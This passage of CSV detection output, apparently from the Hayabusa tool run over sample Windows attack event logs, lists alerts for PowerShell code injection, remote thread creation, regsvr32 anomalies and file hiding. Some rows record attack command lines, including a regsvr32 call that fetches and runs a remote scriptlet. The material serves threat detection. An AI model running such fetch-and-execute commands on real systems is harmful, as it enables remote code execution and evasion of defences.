PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.973 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.989 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.989 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.005 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.005 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.020 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.020 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.036 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.036 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.051 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.051 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.083 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.083 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.098 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.098 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.114 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.114 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.130 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.130 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.145 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.145 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.161 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.161 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.176 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.176 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.192 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.192 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.208 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.208 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.223 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.223 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.239 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.239 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.270 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.270 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.286 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.286 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.301 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.301 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.317 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.317 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.348 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.348 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.364 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.364 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.380 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.380 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.395 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.395 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.426 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.426 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.442 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.442 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.489 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.489 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.505 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.505 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.520 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.520 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.536 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.536 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.551 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.551 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.583 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.583 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.598 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.598 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.614 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.614 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.661 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.661 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.708 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.708 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.786 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.786 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:18.833 +09:00,IEWIN7,7,high,In-memory PowerShell,,rules/sigma/image_load/sysmon_in_memory_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:50:36.858 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Execution - jscript9 engine invoked via clsid : Command: winpm.exe //e:{16d51579-a30b-4c8b-a276-0ff4dc41e755} winpm_update.js : Path: C:\ProgramData\winpm.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-19 02:51:14.254 +09:00,IEWIN7,1,informational,Process Creation,Command: /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-19 02:51:14.254 +09:00,IEWIN7,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-19 02:51:14.254 +09:00,IEWIN7,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-20 02:32:00.482 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1158,technique_name=Hidden Files and DirectoriesHidden Files and Directories : Command: attrib +h nbtscan.exe : Path: C:\Windows\System32\attrib.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_hiding_files_via_attrib_cmdlet.evtx +2019-05-20 02:32:00.482 +09:00,DC1.insecurebank.local,1,low,Hiding Files with Attrib.exe,,rules/sigma/process_creation/win_attrib_hiding_files.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_hiding_files_via_attrib_cmdlet.evtx +2019-05-21 09:35:07.308 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\com-hijack.exe"" : Path: C:\Users\IEUser\Downloads\com-hijack.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.308 +09:00,IEWIN7,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.474 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c test.bat : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\com-hijack.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.474 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c pause : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\com-hijack.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.518 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\cmd.exe /c test.bat",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.870 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.0.153744822\2027949517"" -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 